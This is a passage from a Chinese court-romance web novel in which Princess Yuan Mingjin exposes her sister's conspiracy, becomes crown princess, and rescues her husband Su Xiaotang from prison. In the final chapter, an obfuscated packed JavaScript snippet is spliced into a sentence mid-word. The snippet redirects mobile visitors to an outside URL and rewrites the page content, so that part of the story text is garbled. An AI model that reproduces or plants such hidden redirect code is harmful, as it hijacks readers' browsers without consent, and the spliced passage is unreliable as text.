“苏小糖,你就是这样报答本王的?!想一别两宽,门都没有!” “既然元明琼对我不仁至此,我也不必再顾念手足之情了!传本王令,天队去风沁曾栖托的花楼,把鸨父抓来;地队去天牢,将关押的人带出来;玄队去苏府,通知苏大人做好准备;沈大人,你——” “臣马上带着华清回家,顺路去梅府看望梅大人,而后回府,闭门谢客。”沈佳眼神一凛,立刻道。 沈华清难得机灵了一回,道:“娘,是我带着您回家。” “好好好,你今日从瑞王殿下这里得了一把吹毛利刃的宝剑,想起梅四姑娘也爱这些枪刀剑戟,便迫不及待前去与她一同赏玩,玩累了,便回府歇着罢。” 沈佳从善如流,匆匆拜别,带着女儿迅速赶往梅府。 沈华清被仓促拽上马车时仍摸不着头脑,忙叫道:“娘,我还没跟瑾娘说够话呢,你这么着急要走,上赶着投胎么?” “你个小兔崽子,怎么说话的?!” 天边隐隐涌现雷声,狂风大作,石板路上几片落叶打着旋儿凭空攀升。沈佳掀开门帷急催马妇再行快些,回身听见沈华清这句话,怒其不争,恼道:“眼见着就要变天了,你还在这儿跟为娘贫嘴!早知道今日就带你姐来,也省得多费口舌。” “娘,您这话说的,多伤人哪!”沈华清委屈,“我向来是两眼一抹黑的,您怎么能指望我跟阿姐一样一点就通呢?” 她这话说得在理——为避免招引帝王猜忌,老奸巨猾如沈相,一贯是放任幼子往纨绔子妹方向发展的。若是大女儿出了意外,才会转而着重培养小女儿。 若无过人之处,怎能统率臣工?能侍奉三代君主而稳坐丞相之位,智圆行方自不在话下。 这欺君之罪,表面上是死局,实则尚存生门,而元明瑾显然已经发现了这唯一的生门。沈佳初初醒悟时,不觉猛地打了个寒噤,又忍不住暗叹,欲为人主,理当如此,杀伐果断。 就连自己也是在元明瑾做出决策后才明白她意欲何为,又怎么能指望沈华清迅速反应过来。沈佳叹了口气,明白自己的确操之过急了,便尽量沉下心,循循善诱道:“清儿,你可知,瑞王殿下的父亲是谁?” 一听这话,沈华清回忆片刻,才突然醒悟,元明瑾的确从未向自己透露过有关她父君的只言片语。所幸她还不算朽木,在高速行进的马车中被猛颠一下,当即就被颠得灵光一现,猜道:“是梅家人?” “正是。当年梅大公子入宫,与今上诞下瑞王后,得封雪君;加之梅鹤鸣本就是正三品北衙禁军龙武大将军,梅二姑娘出任尾州节度使,梅三姑娘又被点为探花,梅氏一时风头无两。”沈佳将整件事情掰碎了细细同她解释,“但瑞王殿下尚未足岁,雪君却暴毙而亡。而后,梅鹤鸣升迁,任从二品十六卫上将军——清儿,你可看出什么来?” “雪君薨了,陛下为了安抚梅家,便升了梅大人的官?”沈华清挠着头道。 “是,也不是。”沈佳摇摇头,“上将军表面威风,实为荣衔,手中权力还不如与龙武大将军同为正三品的十六卫大将军。且雪君家世显赫,就这么不明不白死了,若是陛下不给个交代,莫说梅家,群臣百官也不 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行军元帅为战时最高统帅,由亲王兼任,而皇子十六岁才受封开府。元明瑾当年还不足十六,便要率军讨伐九曜,只好匆匆走完亲王册封典礼,连府邸和封地都未划定。 亲王封号理应由礼部依据规章与先例草拟,再交由上抉择裁定。起初礼部挑选出“昌”字,取其“盛壮之貌,安邦之惠”意,呈到今上处,帝王却弃之不用,大笔一挥,亲书一字“瑞”,钦定了次子的封号。 以这样的方式,悼念已逝十五年的雪君……这大抵是一位帝王独具一格的鱼笺雁书。 “既如此,为何陛下当初一定要杀了雪君?”沈华清大惑不解,“与其来日悔恨,不如当初好好珍惜眼前人。” “你一介黄口小儿懂得什么?坐在那个位置上,多的是身不由己。”沈佳又催了马妇一声,“将立其子而杀其父,不令君侍后与国政,使外家为乱。梅家势倾人主,眼看天下就要只知梅姓、不知元姓,区区一个男子,杀了便杀了,哪儿比得上江山重要。” “再者,古往今来,龙争虎斗,倾轧之下,安能不流血?不过是死了一个雪君,只要陛下想要,还有千千万万个比雪君更加昳丽、更加俊朗的男子可以选入后宫。且陛下待雪君和梅家还不够好么?至今还不时把玩他留下的念珠;虽然梅鹤鸣明升暗贬,但她的两个女儿可丝毫未受牵连,依旧该怎么做官还怎么做官。” 沈华清听着,胸腔里一颗心怦怦地跳,一股直欲建功立业的豪情油然而生。她一改往日的兴致缺缺,主动问道:“那瑾娘可是要入宫面圣?娘不进宫帮帮她么?” “帮什么帮,陛下何其忌惮结党营私,你这是嫌你娘死得不够快么?!” 沈佳没好气道:“梅鹤鸣是瑞王殿下的外祖母,于情于理都该由她出头,我们沈家要做的便是明哲保身,而不是眼巴巴凑上去,以免陛下生疑。何况我等一窝蜂都去了,倘若失败,外头也没个位高权重的帮着斡旋——清儿,你日后做事,切莫一根筋莽上去,要先想好后手、想好退路,保存力量。失败了也不怕,只要留得青山在,就不怕没柴烧。” 沈华清肃然道:“女儿明白了。” 20. 反击⑴ 黑云翻墨未遮山,白雨跳珠乱入船。 “驾!” 乌云沉沉,雨声渐大,石板路很快便被打湿。这样的天气不免引得人困乏,就连守在皇城门口的士卒也有些懈怠,刚懒懒地打了个呵欠,却听密密雨幕中忽地爆出一道驭马声,随后便是马蹄急速踏在石板上的嗒嗒声,由远及近,杀气腾腾。 监门卫精神一震,忙竖起长矛,喝道:“什么人!” “本王要见母皇!” 来人未穿甲胄,衣袍吸饱了雨水,沉甸甸地黏在身上,结实匀称的肌肉线条尽现。她利落地勒住马,抹了一把脸上的雨水,露出被湿发遮挡的五官,剑眉倒竖,目如寒星,锐气逼人。监门卫不由自主后退一步,认出果然是瑞王,恭谨问道:“陛下罚您禁足,如今尚不足三月……” “真让本王等三个月,王夫早就死在天牢中了!”元明瑾提声高喝,“你若不通传,就让开,本王自己闯进去!” “殿下且慢!” 这位祖宗要如何是她自己的事,若不按例通传,陛下怪罪下来,自己肯定也得担责。监门卫忙令人去养心殿通传,得到陛下愿见的回复后,正欲提醒瑞王殿下宫中不可纵马,却觉身侧猛地刮起一阵风,再一瞧,元明瑾已翻身上马,扬鞭一抽,直奔养心殿而去。 她快马加鞭,一炷香后,壮丽恢弘的宫室终于近在眼前。透过雨幕,影影绰绰瞧见几人站在殿门前,原是皇帝身边的大宫女领着几名宫侍,手捧热水、巾帕,笑容满面地请她先前往偏殿更衣,再去见她母皇。 方才一出王府,便有暗卫飞身来报肃王府的动向。元明瑾如何不清楚她那好姐姐同样正紧盯着自己,心中焦急,却也明白不可殿前失仪,只好急急换下湿衣、拭干头发,穿上宫人早先备好的深绿色襦裙和鹤氅,匆匆去拜见母皇。 窗外大雨如注,红梅吐蕊,绒黄一点,一经雨打风吹,便掉了几片花瓣,七零八落,虽略显颓败,却依然坚|挺地立在枝头。 帝王负手而立,与这朵尚未完全盛开便遭摧残的梅花隔窗相望,听见身后足音,并未回头,只道:“今日回去,禁足多一月。” “儿臣遵旨。只是今日儿臣前来,是想证明王夫当日替嫁,并非他愿。” 四月竟还有梅花,元明瑾有些讶异,但须臾便稳下心神,尽量口齿清晰道:“他绝非有意犯下欺君之罪,同样是受人迫害,还望母皇明察。” “——皇妹如此言之凿凿,可是又发现了什么新证据?” 清脆的嗓音自百丈之外的殿门处传来。元明琼大步走进,衣角微湿,胸膛起伏得稍有些剧烈,显然也是匆匆赶来。 巧的是她今日也穿了一身深绿色衣裳。元明瑾心念一动,招来一宫侍,附在她耳边吩咐了一通,宫侍领命而去。 元明琼向母皇见过礼,留意到香炉烟疏,便命人更换,又走到御案一侧为母皇磨墨,笑道:“皇妹莫不是忘了自己如今还在禁足中,怎么就这样贸然跑出来了?可怜见的,头发都没绞干……殿前失仪事小,染上风寒事大,本王这就让人去煮些驱寒的姜汤来——” “不必了。”元明瑾无意配合她在母皇面前表演姊友妹恭,打定主意要速战速决,“传左验上殿!” 这左验不是旁人,正是那日背着苏小糖走入喜堂的那位全福人。事成之后,他收了辛雅宁一大笔银子,足够他颐养天年,便美滋滋地告老还乡,不再做全福人。岂料还没过上两天安生日子,却被人突然绑来,以家中儿孙性命相挟,要他入宫作证。 背王夫下轿是何等光耀门楣之事,尽管只是个替嫁的,但只要他不说,谁知道这是假的瑞王夫? 全福人起初还十分得意,眼下却连肠子都快悔青了—— 早知这是他的买命钱,那他说什么也不会接下这份活计! 帝王回身,见是个畏畏缩缩的半老徐郎,端详一阵后,问:“你是瑞王大婚那日的全福人?” “正正正正正是!”全福人早就吓成软脚虾了,张张嘴却发不出声音,赶忙从喉咙眼里挤出两个字应话。 见母皇对此人有印象,元明琼虽保持着唇角上扬的弧度,笑意却不达眼底。 不过是一个小小的全福人,能翻出什么风浪?她倒是要看看,她这好妹妹葫芦里卖的什么药。 而事态也并未超出她意料:这全福人招认,自己受人胁迫,要他好好地将新嫁郎送入喜堂。那日之所以喊了两遍“请新嫁郎下轿”,正是因为预先知晓威胁他的人一早便将苏小糖用药迷晕、捆好手脚才放进花轿,故而特地高声将他惊醒,唯恐生出变故。 “你可知,是何人胁迫你?”帝王果然这样问。 全福人心跳怦怦,低头盯着鞋尖前一滴一滴渐渐汇集成一片的小水洼,战战兢兢道:“那、那人蒙着脸,草民并未看清……” 他当然清楚对方是谁,但他的母父妻儿还在瑞王殿下手里,借他八百个胆子也不敢说啊! 虽然他也不明白这些大人物闹的是哪一出戏——瑞王殿下既与替嫁过去的假王夫情笃,想来应是厌极了苏大公子与苏夫人的,为何反而要袒护他们,令自己三缄其口? 闻言,元明琼终于暗自松了一口气,笑道:“你看不清无妨,本王却是已有了些头绪。本王这里也有一位左验,你瞧瞧,可觉得眼熟?” 说罢,她拍拍手,命宫侍将一人带上来。只见那人虽略显憔悴,神色却不动,眉目沉静,正是多日未见的红蓼。 元明琼道:“你来——” “——这不是臣的夫郎身边的仆从么?” 又一道再熟悉不过的人声出现,打断了她的话。 苏傲霜紧赶慢赶终于赶到,气喘如牛。见红蓼在场,她眼神便不由带上一丝殷切。 红蓼之前已从紫蒲处得知了苏玉堂的下场。他读懂了她的希冀,却轻轻地摇了摇头,苏傲霜见状,一下子便浑身脱力,仿佛霜白瞬间爬上了双鬓——可她如今也不过而立之年而已。 “苏卿,你有何要事?”皇帝问。 苏傲霜强打精神,向皇帝请罪道:“臣虽是戴罪之身,但身为人母,实在不忍男儿在狱中受苦,且陛下并未明令禁止臣行动,所以臣今日斗胆前来,望陛下能听臣几句肺腑之言。” “准。”皇帝道。 苏傲霜深深再拜,而后转向元明琼,眉心紧拧,目光如炬—— “肃王殿下如何能认识臣后宅中的下人?臣竟不知殿下有这般神通广大的本事,连臣下内宅中大门不出二门不迈的仆从也能暗通款曲。” “你放肆!”元明琼哪能听不出她夹枪带棒,当即怒斥,“苏大人偏在这个节骨眼儿前来觐见母皇,莫不是怕此人招认,叫你欺君之罪的帽子戴得更牢么?” 好好好,好一个困兽犹斗,看来苏傲霜,是要彻底站在她的对立面了! 所幸她早先便知此人拉拢不得,便决意除去,如今一看,果然是正确的选择。 苏傲霜坦然道:“臣本就认下了这罪名,早晚都难逃一死,难道还怕人构陷?不过是就事论事罢了。” “你——” “够了!朕的养心殿不是给你们吵架的地方!”皇帝训道。 她发觉这一幕似曾相识,终究还是忌惮肃王将手伸到臣下内宅一事,遂先向红蓼求证:“你当真是苏卿府中之人?又是如何与肃王结识的?” “草民、草民伺候苏夫人多年,府内上下都认得草民这张脸。草民只是听说,肃王殿下素来有贤德之名,而草民意欲检举之人,位高权重,草民害怕……” 红蓼深深地低下了头。 后面的话他没有继续往下,但在场之人无不读懂了他的未尽之言:无非就是怕他要检举之人势力庞大,而他势单力薄,恐检举不成反遭迫害,故不得不寻求庇佑。 这一找,就找到了肃王头上。 皇帝勉强接受了他这一说辞,又问:“你究竟想检举何事?” “——替嫁一事,是苏夫人与苏大公子有意为之!” 红蓼掷地有声道。 “瑞王殿下一向恶名在外,苏大公子不愿嫁,又对苏二公子心怀怨怼,便求苏夫人绑了苏二公子替嫁。” 元明瑾正静观其变,闻言神情终于变了。 这是事实不假,但她却不能如实揭开真相,只因苏傲霜归附的唯一条件,便是要元明瑾保住她的夫郎和儿男。 如果做不到的话……恐怕苏傲霜也不会就此甘心。 “好大的胆子!”皇帝一听,顿时怒不可遏,“苏卿,这就是你的好夫郎和好男儿?!” 她既贵为天子,向来只有她的女儿嫌弃别人的份,哪儿轮得到别人蹬鼻子上脸! 见母皇马上要治辛雅宁和苏宜宜的罪,元明瑾虽乐见其成,但却不能失去苏傲霜的助力,赶忙阻止道:“母皇,此事还未了结,您若要治罪,先听完这些证词也不迟。” “你还有何证据?速速呈上! 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小侍只是摇头,难得地露出一抹怅然之色,“尘世之广,只是你没见过,并非就不存在。我的家乡有一种树,叶如小扇,柄细长,虽初生葱翠,然秋日便会转为金黄,色如蜜蜡琥珀,落叶纷飞,铺天盖地,美不胜收。” 缃叶听着,不觉入了神,还要追问他的家乡在哪儿,小侍却闭口不言,仿佛那只是存在于他臆想中的世外桃源。 这小侍早在被张嬷嬷率人捉住并投入地牢之时,就知道自己定然命不久矣,便也毫无惧色,仰首挺胸,用嘲弄的眼神去打量殿中的贵人们。目光扫过元明瑾时,也不见丝毫有异,然而一触及元明琼,却像被烫着般马上转开,垂下眼一言不发。 “此人不仅煽动府中侍君对王夫的不满情绪,且还将本王的一应日程搜集整理,系在鸽足上,传递出去——皇姐不如猜一猜,这信鸽最终飞往何处?” 元明瑾捏住小侍的下巴,将其强硬地转向元明琼,似笑非笑。 元明琼想不到她连自己埋在瑞王府中最深的暗桩都挖了出来,一改先前的神闲气定,慌忙错开眼,汗流至踵,“既是你的小侍,何故来问我?本王一向洁身自好,总不见得与你的小侍暗中勾结!” “哦?既如此,那信鸽怎么不往别处飞,光往皇姐的肃王府飞?” 一个人是巧合,两个人也是巧合么?且都是王侯将相内宅之人,外女轻易接触不到。若说其中没有古怪,恐怕就连黄口孺子也不会信。 元明瑾不着痕迹地留心着母皇的动静,见其面沉似水,眼底暗流涌动,估计应是已经生疑,便趁热打铁,又掷出一道平地惊雷—— “况且本王大婚次日,与友人一道出游,却遭遇行刺——而预先知道本王要游湖的,仅有府中一名唤缃叶的小侍和沈华清二人,就连本王的乳母和王夫都是当日才得知。” 元明瑾将小侍的头转回来,面向自己,盯住他震颤不已的瞳孔,掐住他下巴尖的手下湿滑一片,全是他冒的冷汗,“缃叶与你一向交好,连他的新名字都是你取的,想必是他告诉了你,本王第二日要去游湖一事。” “许是欲行不轨之人潜伏在本王府中呢?如此看来,本王也深受其害,皇妹怎可红口白牙,枉说此人受我指使?”元明琼反驳道。 “把那鸨父拎上来。”元明瑾没有立刻回答她,只是又令一左验上殿。 能捉到这鸨父,倒还要感谢苏傲霜将她与风沁的过往据实以告。此刻被人提着衣领拎到金殿之上,天子居高临下,又已被瑞王的人威逼利诱过,鸨父哪儿还敢隐瞒,当即就坦明元明琼确实经常来他们楼中—— “那又如何?本王不过是喝两杯酒、听几支小曲儿,根本不曾狎伎——皇妹自己不也养了十几个小侍,怎么,如今倒要以此来谤讦本王么?” 元明琼快嘴快舌、语如连珠,向着元明瑾瞋目切齿,血液直往上涌,头脑发热,竟是连一贯挂在嘴边的姊友妹恭也忘光了。 她可算是看出来元明瑾要干什么了。 自己今日也不过是想斩去她一臂,她这妹妹倒好,竟更加不留情面,欲将自己连根拔起! 好一招围魏救赵! “若只是如此也就罢了……” 那鸨父瞧着贼眉鼠眼、缩头缩脑,唇上那颗痦子生了根又粗又硬的黑毛,鼠须似的一抖一抖,说出的话却如平地一声雷—— “您为何次次都要指定百越的舞郎呢?” 23. 终幕 崇定二十六年四月辛未,瑞王上变,告肃王谋反。敕沈佳、苏傲霜、梅鹤鸣、刘鸿祯与大理、中书、门下参鞫之,反形已具。丙子,诏废肃王明琼为庶人,幽于右领军府,宥其夫子,党羽甚众,皆已伏诛。明琼既废,上御两仪殿,群臣俱出,独留沈佳、苏傲霜、梅鹤鸣,谓曰:“教子无方,我心诚无聊赖!”因自投于床,沈佳等争前扶抱;上又抽佩刀欲自刺,鹤鸣夺刀以授瑞王明瑾,此为后话。 天刚蒙蒙亮,两道圣旨同时出宫,又分道扬镳,各奔东西。丞相亲自捧旨,龙旗猎猎,黄土净街,禁军开道,令闲杂人等避让。阵仗之大,引得百姓纷纷侧目,都道天元将生大变,也不知是好是坏,叫人忧心忡忡。 “哟,宫中这么大排场,怎么了这是?” “听说是陛下下旨,肃王府和瑞王府都有一份,也不知是吉是凶。” “瑞王府……我们真的不管管他吗?不会死了吧?” 话头都到这儿,这狱卒也就顺水推舟,向监牢深处使了个眼色。 那日苏小糖听闻欺君之罪要株连九族,唯恐祸及妻主,便拔下发簪,咬咬牙,在掌心狠狠划出一道深可见骨的口子,又攥紧掌心,让鲜血一滴滴落在地上。 虽然疼得不行,但他还没来得及倒吸一口凉气,就赶紧从衣角撕下来块布,用指头蘸着血,在上头写写画画,还苦中作乐地想,幸好小时候读书识字时不曾偷懒,否则今日即便想写,恐怕也挤不出几个字来。 许是急中生智,他思绪如水,十分顺畅便完成一篇,长出一气——然而出到一半,又卡壳了。 “母四族、父三族、妻二族……” 那名心善狱卒的话在他脑海中反复回荡。 虽然苏府待他并不好,但总归给了他一个遮风挡雨的地方,让他还算平安地长大了,母亲对他也尚有养育之恩…… 于是苏小糖又捡起簪子,抿紧嘴唇,别过脸,抖着手,犹犹豫豫地,在那条口子旁边,又划了一道。 簪子当啷一声落地,银质柔软,凤头被摔得些微变形,苏小糖却顾不得许多,赶忙蘸着血写起来。 …… 狱中不见天日,他早就不知道这是自己进来的多少天了。虽然在饭食上并未受亏待,但苏小糖仍是昏昏沉沉的,一摸,额上十分滚烫,不知怎么发起高热来。 掌心两道伤口更是微微红肿发热,边缘渗出些黄白色的脓液,皮肉一搏一搏地胀痛,折腾得他夜晚也无法入眠。 另一名狱卒答:“算了吧,都这么多天了,也没见那位来救他,想必不是什么重要角儿,指不定那还是下令将他杀头的圣旨呢。寺丞大人可是招呼过我们,要好好‘伺候’这位。得罪瑞王事小,得罪肃王,可就——” “哦?得罪本宫,为何就是小事?” 一道冷沉的嗓音远远传来,含着再明显不过的愠怒,音量不大,却响彻整间囚室。 两名狱卒吓得齐齐一抖,下意识就扑通一声跪下来,忙不迭匍匐在地—— “见过瑞王殿下!” 四月乃春夏交接,外头艳阳高照,天牢却又湿又冷,寒气刺骨,仿佛仍停留在冬季。 元明瑾甫一入内,便蹙紧了眉,沉声道:“还不快放了王夫?” 除了入口除的阳光,天牢内唯一的光源只有微弱的烛火。此刻元明瑾负手而立,投下的黑影小山似的,将两人盖得严严实实。她们顷刻间便汗出如浆,两股战战,几欲先走,却又不得不壮着胆子拒绝道:“陛下亲自下令将罪人关进来,我等怎能抗旨不从,还望殿下莫要为难……” “大胆!这可是太子殿下!里头关押的可是太子夫!赦免的圣旨随后就到,你们胆敢不从!” 元明瑾还未出声,身侧立即有善察言观色的心腹喝道:“拖下去,两人各打二十大板!肃王真是养了一群好狗,死到临头还知道咬人!” “——太、太子殿下?!” 一听这话,狱卒就是再蠢也知道这场夺嫡之战是谁胜出了,磕头磕得一下比一下响,眨眼间便染红了石砖,“殿下息怒、殿下息怒啊!” “求殿下饶恕小的这一回吧!小的再也不敢了!” 求饶的哀嚎声渐渐远去。苏小糖蜷缩在角落里瑟瑟发抖,身上一阵冷一阵热,还以为自己已到了阴曹地府,故而恶鬼的嚎叫声不绝于耳。 然而鼻端却又飘来一阵凛冽的竹叶清香,熟悉又陌生,恍如隔世。 略微粗糙的触感在脸上逡巡,苏小糖浑身一颤,既怕是自己心心念念的那个人,又怕不是她,连忙睁开眼,就见元明瑾眸色温柔似水,黑白分明的眼珠上下游移片刻,检查过他全身,才轻声道:“既醒了,便回家吧。” 她伸出手,想打横抱起苏小糖,却被拽住衣袖,制止了她的动作。元明瑾正疑惑不解,忽觉苏小糖挣扎了两下,力道轻得挠痒似的,最后在她怀里找了个舒服的位置,靠着不动了,半晌才软软道:“我不能回去。” “为什么?”元明瑾很是耐心。 天牢中着实太冷,苏小糖靠进她怀里,就如一块冰落进火炉里,火炉并无大碍,冰却快要化干净了。 “我不……不想……成为妻主的……污点……” 说来也怪,嗅着这股好闻的竹香,彻夜无寐的苏小糖竟生出一丝困意。他从心所欲,合上烧得干涩的眼睛,呼吸慢慢变得轻缓绵长。 元明瑾屈指成钩,举在半空,定定地瞧了一会儿他的睡颜,最终还是放下了——她本想敲他一记爆栗的。 真不知这颗小脑袋瓜里一天天都在想些什么。 她动作极轻地抱着他穿过长廊,甫一出门,就见一队人马匆匆赶到,为首的不是旁人,正是捧着皇帝手谕前来放人的大宫女,和负责管理天牢的大理寺丞。 见是元明瑾,大宫女行过礼,笑道:“在此恭喜太子殿下了。” 元明瑾冷淡地点点头,抱着人大步出去了,瞥也不瞥眼巴巴候在一旁、同样想与她寒暄两句的大理寺丞。 心腹赶紧解释道:“殿下见太子夫伤成那样,心情不佳,姑姑勿怪。” “什么怪不怪的,姑娘莫要见外才是。太子夫一介男子,竟能做出这样的壮举,真令我等钦佩。”大宫女应道。 “正是,太子夫如此忠义,当为天下男子之表率……” 大理寺丞这根墙头草终于捉着间隙插上嘴,一句话还没说完,就被狠狠瞪了一眼,立时住了嘴,不敢再出声。 …… 虽然已被封为太子,但册封典礼须待钦天监择一良辰吉日,再候礼部筹备妥当后,方能举行。 故元明瑾照旧把苏小糖带回瑞王府中,令御医好生照看。 然而一回府却被张嬷嬷逮了个正着,正颜厉色地要她先看御医。 “殿下如今乃天元前星、国之根本,更应该保重身体,怎么连额上伤了一块都毫无所察呢?”张嬷嬷嗔道,“殿下粗心,总不见得随侍的小子们也粗心,看来是时候多添些人手了。” 元明瑾悻悻地摸了摸额角,果然一阵钝痛——那块镇纸自元明琼手中滑落时,是先被她的额头挡了一下,才坠地的。 她道:“不妨事,不过是擦伤了油皮,不碰就不疼,本宫——” 她在张嬷嬷犀利如电般的眼神中败下阵来。 包扎完毕,元明瑾吩咐张嬷嬷将王府上下仔细清洗一通,宁缺毋滥,毕竟这些人马,来日也是要带进东宫的。 张嬷嬷应下,沉眉思索片刻,问道:“肃王谋逆一事,解决得比奴婢想象中轻松。她那些兵马还不知藏在哪儿,陛下怎么会就此给她定罪呢?” “这个问题就留给母皇和沈相她们头疼好了。”无事一身轻,元明瑾懒洋洋倚在美人榻上,“有其父做先例,母皇吃一堑长一智,想叫她不生疑也难。何况元明琼着实蠢笨,我若是她,怎会想不到在这些宗室权贵的后院安插眼线,是她爹早就用惯的伎俩?” 千里之堤,溃于蚁穴。元明琼的父亲就是这样爬上母皇龙榻的,自然清楚后宅中这些不起眼的小人物有多么重要。然而元明琼继承了她父亲的手段,却没继承她父亲的心计。 再者,眼线一事,本来也算不上稀奇——谁家没几个她人的眼线?不过睁一只眼闭一只眼,各自安好罢了。 元明琼的确也可以往别人家安插,但在母皇早有疑心的前提下,只要这些眼线被捉出来,她意图谋反的罪名就坐得不能更实了。 说到父君…… 过两日便是她父君的诞辰。 元明瑾不由忆起日前入宫,见到的那棵被栽在养心殿后的梅树。 父君死时,她年岁尚小,还未记事,只知道它是母皇和父君一同栽下的,原本种在父君宫中,后来被迁到了养心殿后。 这样母皇一开窗,就能见到这棵树。 她还听闻,父君的尸骨并未葬入君侍园寝——那不过是具空棺罢了。 他就静静地躺在那棵梅树下,与母皇日夜相望。 起初元明瑾还嗤之以鼻,然而见它四月仍能开花,心中竟多了几分信服。 宫中向来是只闻新人笑、哪闻旧人哭……能在母皇心中占据一角,已然算是不错。 …… 虽然册封太子的典礼由丞相统筹、礼部操持,太子本人仅需闭门读书、修身养性,尽量不参与其中,但皇帝有心多加磨砺她,便将铲除肃王余党一事交由她处置,故元明瑾仍忙得脚不沾地,早出晚归、披星戴月。往往是苏小糖睡下她才回,他还未起,她又出去了……他真疑心她连被褥都未躺热乎。 妻主忽然成了太子,一人得道,鸡犬升天,王府里机灵的仆从都嘴快地叫起苏小糖“太子夫”来。若说不高兴肯定是假的,但他已有半个月没怎么见过尊贵的太子殿下本人,心中不免感到失落。 这天他难得卯时初便起了,一摸身侧,早就凉透……手指不由自主蜷了蜷。 他恹恹地洗漱用早膳,张嬷嬷见他起这么早,讶异之色不加掩饰。但见他一脸衰样,又忍不住莞然笑起来。 “太子夫可要回苏府看一看?殿下说,李公公虽然看管不利,本该被打发回乡,然而他毕竟伺候过苏大人和风郎君,又照料过您,苏大人顾念旧情,便让他去看守祠堂了。” 一听能去看望李公公,苏小糖自然很喜悦,但对苏府又本能地抵触,正踟蹰不定,就听张嬷嬷又道:“册封典礼后,殿下和您就要直接入住东宫,届时再想出宫恐怕会有些困难……” “我去!”苏小糖腾地站起来。 瑞王府和尚书府相距并不远,约莫两刻钟后,苏小糖出现在苏府门口。 今非昔比,眼下就连苏傲霜见了他都要行礼,苏府中人又岂敢阻拦,连苏小糖不知道祠堂在哪儿也没有取笑他,而是一反既往,恭恭敬敬地将他往东南角领。 多日不见的李公公果然在那儿当值,他看着消瘦了些,精神头却足。他见到苏小糖自是大喜过望,忙不迭拉着苏小糖,上上下下地端详,问他近况如何。 “当初都怪老奴,没有看好您,才让夫人和大公子的阴谋得逞了。”李公公说着说着,不觉淌下两行热泪来,听见苏小糖说不怪他,心中愈发羞愧,“真是知人知面不知心,那小绿看着是个乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537867|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧的好孩子,谁又能想到他竟然包藏祸心呢?” 苏小糖汗颜——他是真的不怪李公公,嫁去瑞王府后他天天吃香的喝辣的,妻主疼爱不说,还没人为难他,日子过得比在苏府中好上不止一星半点。如今妻主争气成了太子,他也跟着晋为了太子夫,日后更是要做凤君的。 塞翁失马,焉知非福。若无此劫,他都不知道自己一个娘不疼爹不爱的庶子,要如何嫁给妻主,当她的正夫…… 光是想想都觉得难如登天。 他不知从何解释好,正冥思苦想,李公公见他迟迟不言语,以为他心中难过,眼珠一转,道:“您随老奴来。” 西北角的厢房一向作为库房使用,僻静无人。有了前车之鉴,苏小糖本想拒绝,然而转头一看,身后正跟着一众御侍和卫队,料想也出不了差池,便跟上了李公公。 “风郎君虽去得早,但他的东西,家主其实没丢,都好好地保存着呢。” 李公公推开一间厢房门扉,苏小糖下意识抬袖挡脸,防止飞灰扑进口鼻眼。 然而等了片刻,却并未嗅到灰尘的气味。 再看门上的锁,也是簇新的,闪动着银亮的光泽,并非想象中的锈迹斑斑。 “应当还算干净,家主命人每旬都来打扫……她心中还是有风郎君的。” 李公公不知当年实情,只觉苏傲霜也是个用情至深的可怜人,不由感叹道。 说罢,他就退了出去,独留苏小糖一人在房中,面对满屋子陌生又熟悉的物什,不知怎的,竟生出一股近乡情怯的心绪。 高兴又怅然。 “在看什么?” 苏小糖正到处乱逛,琳琅满目,不知该从哪件开始看起,忽听身后一人出声,把他吓了好一大跳。 回过头去,正言笑晏晏站在那儿的,不是多日未见的妻主又是谁? “妻主!” 苏小糖扑过去,将她紧紧拥入怀中,埋首于她肩颈间,贪婪地汲取着她身上那股好闻的竹香,一刻也不肯放开。 他喃喃道:“我不是在做梦吧?” 话音未落,头上蓦地一疼,苏小糖吃痛,揽着她腰的那只手却仍不愿放开,只用另一只手捂住被她敲疼的地方,泪眼汪汪,“妻主又欺负我。” “好叫你知道你没在梦中。”元明瑾终于敲到了那日没能敲成的爆栗,心情大好,“今日下值得早,回府却没找见你,嬷嬷说你来了苏府,我便跟着来了。” 她视线从苏小糖肩头上越过去,环视四周,“纸鸢、布老虎、鲁班锁、蝴蝶簪……不介绍介绍么?” 苏小糖这才松开她,拿起那只布老虎,“妻主快看!这是小时候,我爹亲手给我缝的!怎么样,可爱吧?” 元明瑾定睛一瞧,见它一只眼睛大一只眼睛小,像在朝她做鬼脸,便道:“原来这不是老虎啊……是狗?” “妻主怎么跟我娘说一样的话?”苏小糖丢给她含嗔带怒的一眼,把它往元明瑾怀里一塞,“这是布老虎没错,只是我爹手拙,我娘见了,捧腹大笑,说这是‘画虎不成反类犬’……” “那这个呢?”元明瑾拿起那支簪子,簪头是一只展翅欲飞的蝴蝶,雕刻得栩栩如生,通体碧绿,玉质油润,不见黑点,定是上品。 “我娘说我从小就爱美,当初一看到这支簪子就走不动道,死死抓在手中,怎么也不肯离去。”苏小糖接过簪子,摩挲着打磨得十分圆润的簪尖,眼底满是怀念,“当时娘还不是户部尚书,只是一介小官,这簪子花了她半个月的俸禄,好在她攒了些钱,否则……” 他低下头,唇角露出一抹笑意,见这支簪子的款式还不算过时,便向元明瑾浓密黑亮的发间插去。 “真好看。”他瞧着瞧着,实在忍不住,凑过去,在元明瑾唇角轻轻印下一吻,“妻主戴什么发簪都好看。” “当真?”元明瑾伸手扶了一下发髻,也笑眼弯弯。 从只言片语中,她依稀窥见,他曾经也是个有娘疼有爹爱的孩子。 若是天元和九曜两国,从来就没有这些宿怨……说到底,这和无辜的黎民百姓又有什么关系呢? 人生无家别,何以为烝黎? 元明瑾心中酸涩,连忙掩饰似的,大手一挥,道:“这里的东西,全都搬回去,日后你想什么时候看,就什么时候看,不必特意回苏府。” “真的?!” 苏小糖眼睛瞬间被点亮,黑润润的,洗净的葡萄一般。他又凑过去在她唇角响亮地亲了一下,“妻主真好!” 一声令下,太子千牛备身便指挥众人,将屋内一样样物什悉数搬上马车。 元明瑾与苏小糖率先离开。车轮辘辘,苏小糖心有所感,掀开车幰向外张望。 